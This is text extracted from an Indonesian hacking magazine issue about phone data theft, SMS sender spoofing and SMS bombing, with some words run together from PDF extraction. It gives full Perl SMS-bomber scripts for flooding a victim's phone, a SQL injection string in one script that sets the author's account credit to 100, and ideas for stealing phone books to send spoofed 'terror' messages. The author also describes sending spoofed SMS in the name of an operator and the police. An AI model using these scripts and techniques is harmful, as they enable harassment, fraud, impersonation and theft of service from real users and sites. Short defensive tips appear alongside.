    Pencurian Data Ponsel

    Sering melihat alat pengisi ringtone, logo dan wallpaper dipusat perbelanjaan ponsel? Bagaimana jika program tersebutsebenarnya adalah praktek Cell Phone Data Theft?

    Setelah mempelajari AT commands untuk GSM dan kemudianpada artikel selanjutnya mengenai SMS Fake Sender, mari kitamenyusun konsep aplikasi pencurian data ponsel.

    Untuk membaca isi phone book seseorang cukup dengan bebe-rapa AT commands saja. Yaitu AT+CPBS untuk memilih tem-pat penyimpanan phone book. AT+CPBR untuk membaca isiphone book.

    Setelah isi phone book berhasil didapat, maka kita dapat mengi-rimkan SMS fake sender dengan sender ID pemilik phonebook, kepada nomor-nomor di dalam phone book. (Konsepnyamirip dengan virus-virus email yang membajak Address Bookpada Email Client).

    Mengingat risikonya, saat ini saya belum dapat menyertakansource code aplikasi tersebut.

    Kegunaan:

    1. Promosi. Misal dengan mengirimkan pesan: Hai, $name.Kemaren aku coba makan steak di Steak Corner Bintaro okbanget lho. Malam minggu ketemuan di sana yuk ^_^.Dengan variable $name diambil dari isi phone book yangdicuri (nomor tujuan).

    2. Terror. $name, rese nih 081xxxxxx Miskol gw mlolo..Bantuin gw miskol-in balik dia ye. Biar tau rasa.Bayangkan bagaimana bingungnya korban 081xxx jikamenerima miskol dari seratus nomor yang berbeda.

    3. Penggalangan massa. Misal, $name! Besok kumpul di AlAzhar yuk! Ada pengajian.

    4. Dll, khususnya yang berkenaan dengan pemberitaan massal.

    Tentunya pemilihan korban juga menentukan kecocokan kegu-naan yang dipilih. Korban dari kalangan mahasiswa memilikikarakter yang berbeda dengan korban dari kalangan pengusaha,karyawan, dll.

    Bluesnarfing dan Bluejacking

    Pencurian data ponsel dapat juga melalui fasilitas Bluetooth.Pon-sel dengan fasilitas Bluetooth yang selalu on berisiko terkenapencurian data, seperti dilaporkan oleh Click Online pada situsBBC (rekaman video-nya dimuat dalam CD NeoTek). Pencuriandata bhandphone melalui fasilitas Bluetooth ini dikenal sebagaiBluesnarfing.

    Olahraga yang populer di Eropa sekarang ini, yaitu Bluejacking,sebenarnya tidak berbahaya, tapi dapat menjengkelkan. Blue-jacking memanfaatkan fasilitas Send to pada transfer data melaluiBluetooth yang mengizinkan sampai 256 karakter.

    Jadi, tinggal cari saja ponsel denganBluetooth di keramaian sekitaranda, lalu kirim data yang justrudiketikkan pada Send to. Si pene-rima akan terlalu kaget untuk me-nyadari bahwa pesan tadi sebe-narnya diketikkan pada Send to.

    Bluejacker yang ngetop di Inggrissekarang ini, Jelly Ellie, adalahseorang siswa sekolah menengahyang situsnya yang membahasBluejacking dapat dilihat dihttp://www.bluejackq.com/

    yang cukup untuk mengirimkan SMS, juga akanmengurangi kredit Anda bila SMS telah dipastikan sampaike tujuan.

    Beberapa operator GSM menyediakan SMS gratis melaluiweb. Mengapa bisa gratis? Mereka menggunakan SMSCyang berbeda dengan SMSC komersial (non-billing). IM3dan INDOSAT menyediakan fasilitas ini, walaupun kemu-dian www.satelindogsm.com mencabut fasilitas web2sms-nya, sementara www.m3-access.com terus berkibar dengan

    layanan MMS dari web.

    Pada jenis ponsel tertentu (Nokia semua tipe, beberapa tipeSiemens, Ericsson, dan Motorola), anda dapat menerimaFlash message, yaitu SMS yang langsung terlihat isi pesan-nya tanpa perlu membuka Inbox.

    Flash SMS ini cocok digunakan untuk pesan-pesan yangmendesak karena langsung ditampilkan di layar ponsel.Flash SMS tetap dapat diterima walaupun memori ponselsedang penuh, namun Flash SMS itu sendiri tidak bisadisimpan pada memori (hilang setelah kita menutupnya).

    Pemilihan tipe SMS di-tentukan oleh octet DCS

    (Data Coding Scheme).Caranya dengan memi-lih unicode 16-bit (ucs2)sebagai DCS, dan pesandiawali dengan octet 0001.Saat ini, umumnya pon-sel yang mendukungpengiriman Flash SMSsudah menyediakanmenu yang mudahuntuk mengirimkanFlash SMS. SMS gratisdari IM3 pun sudahmenyediakan fasilitas

    Flash SMS.

    NeoStart

    Vol. IV No. 08 NeoTek 17

    Mengirim SMS dengan Modus PDU

    Setelah mengenal AT commands dan PDU mode, makaberikut adalah cara pengiriman SMS dengan kedua haltersebut.

    1. Siapkan SMS yang akan dikirimkan ke dalam bentukPDU. Bisa menggunakan PDUSpy.

    2. Jalankan AT command pengiriman SMS.

    Contoh SMS:

    Nomor Tujuan : +628128049030SMSC : +62816124Isi pesan : Halo redaksi Majalah Neotek..

    Maka PDU-nya adalah:05912618164221000C9126188240090300001DC830FB0D9297C9E1F53C0D6A86D56176180D7296DFF4F2DAE502

    Jalankan AT command:AT+CMGF=0 //Memilih modus PDUAT+CSMS=0 //Memeriksa apakah ponsel dapat

    menerima SMS commandsAT+CMGS=29 //Mengirim SMS, berisi 29 septets

    >05912618164221000C9126188240090300001DC830FB0D9297C9E1F53C0D6A86D56176180D7296DFF4F2DAE502(diakhiri dengan Control-Z).

  • 8/9/2019 NeoTek Vol. IV - No. 08

    19/50

    NeoStart

    18 NeoTek Vol. IV No. 08

    ERINGKALI SAYA MENERIMA SMS BERISI IMING-IMINGbahwa saya telah memenangkan undian atau hadiahtertentu. Untuk mengambil 'hadiah' tersebut, saya

    diharuskan membayar pajak undian, atau membayarfeetertentu, atau membayarnya dengan mengirimkan voucherpulsa, atau alasan lain agar saya menyerahkan barang ber-harga pada pihak-pihak tertentu.

    SMS penipuan itu sangat terlihat tidak masuk akal. Karena

    pengirimnya bukanlah nomor-nomor operator sepertiTELKOMSEL, PRO-XL, INDOSAT, 555, 777, atau nomor-nomor khusus lainnya. Nomor pengirim jelas-jelas terlihatadalah nomor ponsel GSM biasa, yang mudah didapat dioutlet-outlet ponsel.

    Biasanya nomor yang dipakai untuk menipu adalah nomorpra-bayar yang dapat dibuang jika dirasa sudah tidak meng-hasilkan. Hal ini sangat menjengkelkan saya, sehingga me-macu saya untuk mencari tahu, bagaimana cara terbaik (me-nurut saya) untuk membalas penipuan itu.

    Sebenarnya, bagaimana cara operator mengirimkan nomoratau nama cantik tersebut ke HP kita? Nomor pengirimtersebut sebenarnya tersimpan pada octet OA (Originator

    Address) pada MT (Mobile Terminated). Octet OA tidakhanya dapat memuat angka, namun juga string/teks.

    Octet OA ini, hanya muncul pada MT yang dikirimkan dariSMSC ke ponsel tujuan, sehingga tidak ada cara untukmengubah nomor pengirim dari ponsel pengirim.Artinya,untuk membuat SMS Fake Sender (SMS dengan nomorpengirim palsu),Anda membutuhkan sebuah SMSC yangbisa memodifikasi octet OA ini.

    Operator yang Diperlukan

    Di Indonesia sendiri, setahu saya, tidak ada operator yangmenyediakan SMSC untuk modifikasi OA. Karena itu, sayamelirik SMSC luar negeri yang menyediakan fasilitasmodifikasi OA untuk membuat nomor pengirim palsu.

    Salah satunya adalah www.phunkyphones.net yang menye-diakan layanan pengiriman SMS dengan modifikasi OAmelalui layanan web mereka. Beberapa waktu yang lalu,situs ini masih menggunakan ASP yang vulnerable sehing-ga memungkinkan pengguna untuk menambah sendiripulsa mereka. (String provided by 1ST).

    Contoh lain adalah http://sms.bigfoot.com yang menggu-nakan software khusus untuk melakukan modifikasi sendername.

    Aplikasi yang cukup sulit digunakan adalah SMSXtenderdari www.simeda.com karena membutuhkan handphone

    atau PDA yang dilengkapi dengan Java.

    Bung Ftp_Geo ([email protected]) kini masuk ke sisi gelap SMS, yaitu SMS Fake Senderyangmenjadi sarana yang paling populer untuk melakukan penipuan maupun fitnah. Namanya juga

    SMS Kaleng, sama seperti surat kaleng ataupun email kaleng, perlu diwaspadai.

    S

    MengMengirim SMS Firim SMS Fake Senderake SenderSSMMS DS DAN GAN GSSM HAM HACCKKIINNGG

    SCA PDU-Type OA PID DCS SCTS UDL UD

    Letak modifikasi fake sender (Originator Address)

    Walaupun nomor pengirim adalah nomor spesial sepertiTELKOMSEL, PRO-XL, INDOSAT, biasanya pihak operator juga

    akan mengumumkannya di media cetak nasional atau melaluimedia lain. Ada baiknya untuk menyimpan nomor telepon resmioperator jaringan anda.

  • 8/9/2019 NeoTek Vol. IV - No. 08

    20/50

    Sementara aplikasi buatan anak negeri tersedia juga diwww.kioss.com/kioss yaitu SMS Alert.

    Mengapa Berbahaya?

    SMS Fake Sender ini sangat berbahaya, karena dapat digu-nakan untuk:

    1. Penipuan. Seperti dengan mengatasnamakan operator

    jaringan GSM, atau nama bank tertentu yang sedangmelakukan undian berhadiah (Gebyar BCA, dll).

    2. Memanipulasi Polling. Jika satu nomor ponsel hanya da-pat melakukan polling satu kali, dengan SMS Fake Sen-der dapat memilih berulang-ulang. Misalnya denganmembuat sender 0810000001,0810000002,0810000003,dst.

    3. Fitnah. Bisa saja saingan bisnis Anda mengirimkan SMSberisi pembatalan kontrak kepada rekan bisnis Anda.

    Dengan SMS fake sender ini, saya membalas SMS-SMSpenipuan yang masuk ke ponsel saya (atau rekan-rekansaya) dengan pesan: Nomor Anda dilaporkan telah mela-kukan penipuan. Pihak TELKOMSEL bekerjasama denganKepolisian akan menyelidiki masalah ini. Untuk sementaraaktivitas telepon dan SMS Anda kami pantau.

    Untuk sender-nya saya menyesuaikan dengan operatorjaringan masing-masing (pada contoh di atas sayamenggunakan sender TELKOMSEL).

    Mengenali SMS Fake Sender atau Bukan

    Pengetahuan mengenai SMS fake sender ini bagaikan pisaubermata dua. Bisa saja setelah membaca tulisan ini, sese-orang memanfaatkannya untuk tujuan penipuan.

    Karena itu kita juga harus mempelajari bagaimanamembedakan sender SMS nomor spesial yang asli dengansender SMS nomor spesial yang palsu.

    Tanda-tanda Anda menerima SMS Fake Sender adalah:

    1. Service Center Time Stamp (SCTS), lihat waktu pengi-rimannya. Jika waktu pengirimannya berbeda jauh de-ngan jam local di daerah Anda (WIB,WITA, atau WIT),maka SMS tersebut dapat dicurigai sebagai SMS FakeSender.

    2. Isinya tidak masuk akal, seperti meminta transfer uang,pulsa, dan semacamnya.

    3. Konfirmasikan dengan pihak-pihak yang bersangkutan,dan JANGAN SEKALI-SEKALI menghubungi nomortelepon yang terdapat dalam SMS. Carilah nomor tele-pon resmi kantor operator jaringan Anda dari buku tele-pon atau 108.

    4. Penipuan tidak hanya mengatasnamakan operator jaring-an, namun bisa juga atas nama pihak lain seperti bank(misal: Gebyar BCA,Tahapan+, dll), toko (Gramedia),asuransi (PRULink) atau pihak-pihak yang sedang meng-adakan undian berhadiah lainnya.

    Kejahatan akan selalu berkembang dan selalu memanfaat-kan kesempatan yang ada, karena itu Bang Napi selalu

    berpesan, Waspadalah!Referensi1. www.dreamfabric.com/sms

    2. www.forumponsel.com

    3. #forumponsel DALnet

    4. www.kioss.com/kioss Terima kasih kepada Luri Darmawan atasdiskusi mengenai AT commands pada Siemens.

    5. Budi Sutedjo,Yosia Handoko. Database Pendidikan BerbasisPonsel. Penerbit ANDI, Yogyakarta:2003.

    6. Ir. Bustam Khang. Trik Pemrograman Aplikasi Berbasis SMS.Elexmedia Komputindo, Jakarta:2002.

    7. Ferry Gunawan. Membuat Aplikasi SMS Gateway Server &Client Dengan Java & PHP. Elexmedia Komutindo,

    Jakarta:2003.8. www.simeda.com

    9. www.phunkyphones.net

    10. www.smscountry.com

    11. www.bigfoot.com

    12. www.clickatell.com

    13. www.textmine.co.uk

    14. www.world-text.com

    15. www.yepcell.com

    16. 1ndonesia Security Team 1ST (http://bosen.net/releases) ataskesempatan yang diberikan kepada saya untuk menggunakanfasilitas SMS di berbagai situs.

    NeoStart

    Vol. IV No. 08 NeoTek 19

  • 8/9/2019 NeoTek Vol. IV - No. 08

    21/50

    NeoStart

    20 NeoTek Vol. IV No. 08

    EBERAPA WAKTU LALU SITUS WWW.HAPPYTEXTING.COMmenyediakan fasilitas SMS gratis ke seluruh duniamelalui web. Mungkin salah satu penyebab down

    dan ditutupnya situs tersebut adalah dirilisnya skrip ini didunia underground.

    Skrip ini memanfaatkan fasilitas SMS gratis yang disedia-kan oleh Happy Texting (www.happytexting.com). HappyTexting sendiri adalah operator jaringan telepon selular di

    India yang sedang melakukan promosi. Sama seperti dahuluIM3 di Indonesia yang melakukan promosi MMS gratis.

    Skrip sakjebole.pl

    Skrip sakjebole.pl (sakjebole dalam bahasa Jawa artinya:dihajar sampai jebol). Berikut ini skrip selengkapnya:(nomor baris tidak termasuk bagian dari skrip)1: #!/usr/bin/perl -w

    2: # sakjebole.pl versi 2 SMS Bomber pake happytexting

    3: # by mas Geo

    4: #-----------------EDIT-KONFIGURASI-DI-SINI!!---------------------------=

    5: $proxy = 'http://proxy.intra.djpkpd.go.id:3128/';

    6: $username = '62815blablabla';

    7: $password = 'passwordmu';8: $pesan = 'Happy Bombing!!';

    9: #-------------------------------------------------------------------------=

    10:

    11: use LWP::UserAgent;

    12: use HTTP::Cookies;

    13: use Getopt::Std;

    14: getopts('t:b:d:v');

    15: our($opt_t, $opt_b, $opt_d, $opt_v);

    16: $ua = LWP::UserAgent->new;$ua->agent("IE/6.0 Windows");

    17: $ua->cookie_jar(HTTP::Cookies->new(file => "SMS-Bomberz-cookies.txt",autosave => 1));

    18: if(defined($proxy)){$ua->proxy(http => $proxy);} else {$ua->env_proxy;}

    19: if(defined($opt_b)){$bom=$opt_b;}else{$bom=10;}

    20: if(defined($opt_d)){$delay=$opt_d;}else{$delay=20;}

    21: if($0 !~ 'sakjebole.pl'){print "Skrip ini harus diberi nama sakjebole.pl\n";exit;}22: if(!$opt_t){print "Baca kode sebagai manual\nKalo blom bisa baca kode,

    belum berhak menggunakan skrip ini\n";exit;}

    23: $req = HTTP::Request->new(GET =>'http://www.happytexting.com/login/login.jsp?txt_mobilenum='.$username.'&txt_password='.$password);

    24: $req->header('Accept' => 'text/html');

    25: $res = $ua->request($req);

    26: my $cek = $res->as_string;

    27: if ($res->is_success && $cek =~ /Sign Out/) {print "Login OK\n";}else {die"Error: Gagal Login\nMungkin salah password atau happytexting sedangdown\n" . $res->status_line . "\n";}

    28: $korban = $opt_t;

    29: $try=1;

    30: print "Kirim SMS ke $korban sebanyak $bom kali.\n";

    31: print "Happy Bombing!!\n";

    32: for($i=1;$inew(POST =>'http://www.happytexting.com/login/send_sms.jsp');

    35: $send_sms->content_type('application/x-www-form-urlencoded');

    36: $isisms = $0.' sends you: '.$pesan.' '.$username;

    37: $message = 'txt_touser='.$korban.'&txt_username='.$username.'&txt_fromuser='.$0.'&message='.$isisms.'&sizebox=0&MM_insert=form1';

    38: $send_sms->content($message);

    39: my $response_send_sms = $ua->request($send_sms);

    40: my $cek = $response_send_sms->as_string;

    50: sleep($delay);51: if($opt_v){print "......OK!\n";$try++;

    52: }

    53: }

    54: #--EOF--

    Secara sederhana cara kerja script ini dapat diikhtisarkansebagai berikut:

    Baris pertama sampai 22 mengatur konfigurasi skrip,khususnya username dan password yang akan dipakaiuntuk login ke Happy Texting (www.happytexting.com)dan proxy. Biasanya proxy hanya diperlukan jika Andamenggunakan komputer dibalik NAT. Jika anda tidakmenggunakan proxy, cukup beri tanda pagar pada awal

    baris 5. Baris 23 s.d. 27 mensimulasikan bahwa seseorang

    sedang melakukan login ke Happy Texting.

    Baris 28 - akhir mensimulasikan seseorang sedangmengirimkan SMS (melalui browser) kepada $korban,sebanyak $bom kali. Variabel $delay diperlukan untukmendapatkan reliabilitas pengiriman yang cukup baik.Jika $delay diset nol, menurut pengalaman, SMS yangterkirim justru tidak sebanyak $bom. Delay yang cukupbaik adalah 10 detik.

    Salah satu alasan mengapa saya melepas skrip ini untukumum adalah Happy Texting (www.happytexting.com)sendiri sudah mengalami kelebihan pengunjung. Sampai-sampai kerap kali situs tersebut tidak dapat dikunjungi(down). Dan lagi, fasilitas SMS gratis ini tentu tidak ber-tahan selamanya. Pasti suatu saat akan dihentikan.

    Jika anda jeli membaca skrip sakjebole.pl, tentu akan melihatbahwa saya tidak mencantumkan cara penggunaan (usage)seperti yang umum terdapat pada skrip-skrip lain. Hal inisaya lakukan atas dasar pertimbangan bahwa efek gangguanyang dapat ditimbulkan skrip ini cukup besar. Ide Read TheCode for Manual/Help saya dapat dari 1ST (1ndonesiaSecurity Team), dan memang cocok diterapkan untuk skripyang satu ini (karena efek disturbing-nya cukup lumayan).

    Namun pada kesempatan kali ini, saya akan menunjukkancara membaca skrip SMS Bombing sakjebole.pl untuk me-ngetahui cara penggunaannya, dengan pertimbangan seper-ti yang saya ungkapkan di atas (tidak ada yang gratis untukselamanya).

    Sisi gelap lain dari SMS yang dibahas Bung Ftp_Geo ([email protected]) adalah SMS Bombing,yaitu mengirimkan SMS yang sama sebanyak-banyaknya ke ponsel korban menggunakan

    account SMS serta suatu Perl script untuk mengotomatisasinya.

    B

    Jebol dengan SMS BombingJebol dengan SMS BombingSSMMS DS DAN GAN GSSM HAM HACCKKIINNGG

  • 8/9/2019 NeoTek Vol. IV - No. 08

    22/50

    Penggunaan SMS Bomber sakjebole.pl

    Di sini saya akan mencontohkan cara membaca manual darikode. Hal pertama yang perlu diperhatikan untuk dapatmenggunakan sakjebole.pl adalah adanya Getopt dan fungsigetopts.

    Pada baris ke-14, terlihat getopts('t:b:d:v');. Perhatikan bah-

    wa fungsi getopts akan membaca argumen baris perintah,dan memasukkan nilainya ke variabel $opt_*. Di sini ter-lihat bahwa sakjebole.pl menggunakan empat option barisperintah yaitu -t -b -d dan -v.

    Pilihan -t, -b dan -d memerlukan argumen. Argumen ter-sebut masing-masing akan disimpan pada variabel $opt_t,$opt_b, dan $opt_d. Sementara option -v tidak memerlukanargumen, hanya boolean saja, dan digunakan untuk meng-aktifkan sesuatu (nanti kita cari yang dimaksud sesuatu itu).

    Pertama yang kita cari adalah kegunaan variabel $opt_t. Dibaris ke-22 terlihat bahwa jika $opt_t tidak didefinisikanmaka program akan dibatalkan. Berarti option -t ini sangatpenting bagi keseluruhan program. Pada baris ke-28 terlihat

    bahwa isi variabel $opt_t akan disimpan ke dalam variabel$korban, sedangkan di baris ke-30 terlihat bahwa variabel$korban adalah target SMS bombing.

    Dengan demikian, cara penggunaan paling sederhana dariskrip ini adalah:

    C:> perl sakjebole.pl -t 62815blablabla

    Lalu apa gunanya option -b, -d dan -v? Lihatlah pada bariske-19 dan 20. Di situ terlihat bahwa jika $opt_b dan $opt_dtidak diberikan, maka akan digunakan jumlah default, yaitu10 untuk variabel $bom dan 20 untuk variabel $delay.

    Penggunaan variabel $bom sendiri terlihat di baris ke-32yaitu banyaknya perulangan. Sementara variabel $delaydiapakai di baris ke-50 sebagai delay antar looping.

    Option -v terlihat muncul 2 kali, yaitu pada baris 33 dan 51.Jika -v diikutsertakan, maka status pengiriman request akanterlihat. Option -v dimaksudkan sebagai modus verbose.

    Jadi cara penggunaan skrip sakjebole.pl selengkapnya adalahsebagai berikut:

    [geogeek@localhost geogeek]$ perl sakjebole.pl -t 62815blablabla -b 10 -d 5 -v

    Solusi Bagi Webmaster

    Untuk menghindari automasi login melalui skrip seperti ini,tambahkan keycode yang berubah setiap membuka browser.

    Contoh keycode yang cukup baik adalah seperti yang dipa-kai pada fasilitas SMS di situs IM3 (www.m3-access.com),AnuneAnu (www.anuneanu.com), dan Blog Pupet(http://blog.pupet.com).

    Alasan pemasangan keycode pada situs IM3 juga saya kirauntuk menghindari skrip otomatis seperti sakjebole ini(login sendiri, kirim SMS sendiri, logout sendiri).

    Atau cara lain yang cukup mudah untuk mengurangi risikologin automatis, yaitu menggunakan flash untuk form logindan form pengiriman SMS. Mengapa flash? Karena flashtidak dapat dilihat source HTML-nya.

    Skrip sakjebole.pl sendiri ditulis murni dari mengintip kode

    HTML di Happy Texting.

    Solusi Bagi Korban

    Salah satu pengalaman menarik yang saya dapatkan ketikamenggunakan skrip ini adalah adanya teknik untuk meng-atasi bom SMS. Cara pertama yang cukup mudah adalah:mematikan HP.

    Happytexting bukanlah SMS sender yang reliable, sifatnya

    malah seperti paket UDP yang non-reliable, artinya HappyTexting tidak memperdulikan apakah SMS yang dikirimkanberhasil sampai atau tidak. Yang penting, dia sudah berusahamengirimkannya.

    Cara kedua yang lebih elite adalah memasang blocking padaperangkat telepon seluler Anda. Silahkan hubungi Bosen([email protected]) untuk detil selengkapnya.

    Berikut log session dalam usaha mengirimkan SMS bomb,.namun tidak berhasil karena adanya blocker:

    Session Start: Fri Feb 13 14:39:54 2004

    Session Ident: Bosen

    C:\Documents and Settings\HERU\My Documents\Beta\projects>perlsakjebole.pl

    Login OK Kirim SMS ke 6281-EDITED- sebanyak 5 kali.

    HP elu boss?

    buat apaan

    iya

    hp gue

    sorry boss

    np

    ada block nya di hp

    itu juga test doang

    ya

    * Logging Bosen to 'logs\Bosen.log'

    Session Close: Fri Feb 13 16:41:36 2004

    Yepcell SMS Bombing plusFasilitas Pengisian PulsaSitus www.yepcell.com menyediakan berbagai fasilitasuntuk telepon seluler Anda.

    Mulai dari ringtones, picture, screen saver, SMS quotes,SMS funny, bahkan anda dapat membuat sendiri logountuk ponsel Anda.

    Yepcell tidak lupa memberikan fasilitas pengiriman SMS.Bahkan dengan string yang disediakan rekan-rekan dari1ST (1ndonesia Security Team, http://bosen.net/releases ),kita dapat mengisi ulang pulsa yang telah habis.

    NeoStart

    Vol. IV No. 08 NeoTek 21

  • 8/9/2019 NeoTek Vol. IV - No. 08

    23/50

    1: #!/usr/bin/perl -w

    2: # .:: PRIVATE!! FOR LEET ONLY ::.

    3: # yepcell.pl SMS Bomber

    4: # by mas Geo

    5: #-EDIT-KONFIGURASI-DI-SINI!!

    6: $proxy = 'http://proxy.intra.djpkpd.go.id:3128/';

    7: #buat login ke yepcell.com

    8: $username = 'usernamemu';

    9: $password = 'passwordmu';

    10: $pesan = 'Test SMS Bomber!! 20 SMS saja. Lumayan pegel kanngapusnya..';

    11: #----------------------------------------------------------------------------

    12: use LWP::UserAgent;

    13: use HTTP::Cookies;

    14: use Getopt::Std;

    15: getopts('t:b:d:v');

    16: our($opt_t, $opt_b, $opt_d, $opt_v);

    17: $ua = LWP::UserAgent->new;

    18: $ua->agent("IE/6.0 Windows");

    19: $ua->cookie_jar(HTTP::Cookies->new(file => "SMS-Bomberz-cookies.txt",autosave => 1));

    20: if($0 !~ 'yepcell.pl'){print "Skrip ini harus diberi nama yepcell.pl\n";exit;}

    21: if(!$opt_t){print "Baca kode sebagai manual\nKalo blom bisa baca kode,belum berhak menggunakan skrip ini\n";exit;}else{$korban = $opt_t;}

    22: if(defined($opt_b)){$bom = $opt_b;}else{$bom = 10;}

    23: if(defined($opt_d)){$delay = $opt_d;}else{$delay = 10;}

    24: if(defined($proxy)){$ua->proxy(http => $proxy);} else {$ua->env_proxy;}

    25: #login

    26: $login = HTTP::Request->new(POST =>'http://www.yepcell.com/members.asp');

    27: $login->content_type('application/x-www-form-urlencoded');

    28: $loginsend = 'UserID='. $username.'&Password='.$password;

    29: $login->content($loginsend);

    30: my $loginresponse = $ua->request($login);

    31: my $cek = $loginresponse->as_string;

    32: if ($loginresponse->is_success && $cek =~ /LogOut/) {print "Login OK\n";}

    33: else {die "Error: Gagal Login\nMungkin salah password atau yecell sedangdown\n" . $loginresponse->status_line . "\n";}

    34: #send sms

    35: $try=1;

    36: print "Kirim SMS ke $korban sebanyak $bom kali.\n";

    37: print "Happy Bombing!!\n\n";

    38: for($i=1;$inew(POST =>'http://www.yepcell.com/xt_sendsms.asp?vt=Normal');

    41: $send_sms->content_type('application/x-www-form-urlencoded');

    42: $sms = $0.' sends you: '.$pesan;

    43: $sms =~ s/ /%20/g;

    44: $message = 'MobileNo='.$korban.'&message='.$sms.'&remLen=0&ID= ';

    45: $send_sms->content($message);

    46: my $response_send_sms = $ua->request($send_sms);

    47: my $cek = $response_send_sms->as_string;

    48: #cek pulsa49: if($cek =~ /Account Balance: 0 Credits/){

    50: #isi pulsa

    51: my $isipulsa = HTTP::Request->new(POST =>'http://www.yepcell.com/members.asp');

    52: $isipulsa->content_type('application/x-www-form-urlencoded');

    53: $isipulsasend ='UserID=%27update%20YepCell_MembersDB%20set%20credits=100%20where%20userid%20=%27'.$username.'%27--&Password=abcdefgh';

    54: #'update YepCell_MembersDB set credits=100 where userid='dodol'--

    55: $isipulsa->content($isipulsasend);

    56: my $isipulsaresponse = $ua->request($isipulsa);

    57: }

    58: sleep($delay);if($opt_v){print "..... OK!\n";}

    59: $try++;

    60: }61: #--EOF-

    Skrip Kirim SMS email2sms.pl

    Situs Russia http://email2sms.ru menyediakan juga fasi-litas SMS gratis, walaupun tidak se-reliable Happy Texting.Namun yang menjadi tantangan dalam membuat skripotomasinya adalah, adanya variabel dalam form yang se-lalu berubah, yaitu time dan sig (singkatan dari signature).Jangan khawatir, dengan PERL dan LWP mari kita buat

    skrip yang bisa membaca variable dari form HTML-nya.Berikut ini kode selengkapnya (nomor baris tidaktermasuk bagian dari program):

    1: #!/usr/bin/perl -w2: # email2sms.pl3: # by mas Geo4: #-----------------EDIT-KONFIGURASI-DI-SINI!!------------------------=5: #$proxy = 'http://proxy.intra.djpkpd.go.id:3128/';6: $pesan = 'No day without new skripz.. =)';7: #-----------------------------------------------------------------------=8:9: use LWP::UserAgent;10: use HTTP::Cookies;11: use HTTP::Status;12: use HTTP::Response;13: use Getopt::Std;14: getopts('t:');15: our($opt_t);

    16:17: $ua = LWP::UserAgent->new;18: $ua->agent("MSIE/6.0 Windows");19: $ua->cookie_jar(HTTP::Cookies->new(file => "cookies.txt", autosave => 1));20:21: #memeriksa konfigurasi dan options22: if(defined($proxy)){23: $ua->proxy(http => $proxy);24: } else {25: $ua->env_proxy;26: }27:28: if(defined($opt_b)){29: $bom=$opt_b;30: } else {31: $bom=10;32: }33:34: if(defined($opt_d)){35: $delay=$opt_d;36: } else {37: $delay=20;38: }39:40: if($0 !~ 'email2sms.pl'){41: print "Skrip ini harus diberi nama email2sms.pl\n";42: exit;43: }44:45: if(!$opt_t){46: print "Baca kode sebagai manual\nKalo blom bisa baca kode, belum

    berhak menggunakan skrip ini\n";47: exit;48: }49: print "Membaca konfigurasi hari ini:\n";50: $index = HTTP::Request->new(GET => 'http:// email2sms.ru');51: #'http://email2sms.ru/');52: $index->header('Accept' => 'text/html');53: $ua->cookie_jar->add_cookie_header($index);54: $indexresponse = $ua->request($index);55: my $indexcek = $indexresponse->as_string;56: $indexcek =~ m/time value\=\"\d+\"/;57: $time = substr($&, 12, 10);58: $indexcek =~ m/sig value\=\"\w+\"/;59: $sig = substr($&, 11, 32);60:61: print "Variable time: $time\n";62: print "Variable sig: $sig\n";63:64: $tujuan = $opt_t;65: #send sms66: print "\nKirim SMS ke $tujuan ......";67:68: $send_sms = HTTP::Request->new(POST=>'http://email2sms.ru/sms.php');69: $send_sms->content_type('application/x-www-form-urlencoded');70: $isisms = $0.' sends you: '.$pesan;71: $message = 'time='.$time.'sig='.$sig.'&iphone='.$tujuan.'&text='.$isisms.'

    &len=0&rus=0';72: $send_sms->content($message);my $response_send_sms = $ua-

    >request($send_sms);73: my $cek = $response_send_sms->as_string;74: if($response_send_sms->is_success){

    NeoStart

    22 NeoTek Vol. IV No. 08

  • 8/9/2019 NeoTek Vol. IV - No. 08

    24/50

    75: print "......OK!\n";76: }77: else {78: print " ... ...Gagal!\n";79: }80: print "Isi Pesan: $pesan\n";81: #--EOF--

    Pada skrip kita kali ini, saya sengaja tidak membuat loopuntuk bombing. Skrip ini dapat digunakan untuk mengi-

    rim SMS biasa saja (satuan).Belajar dari pengalaman terdahulu, situs SMS gratis yangsaya buat skrip bombing nya pasti berujung pada down-nya situs tersebut (contoh: Happy Texting), sehingga sayamencoba membuat skrip yang lebih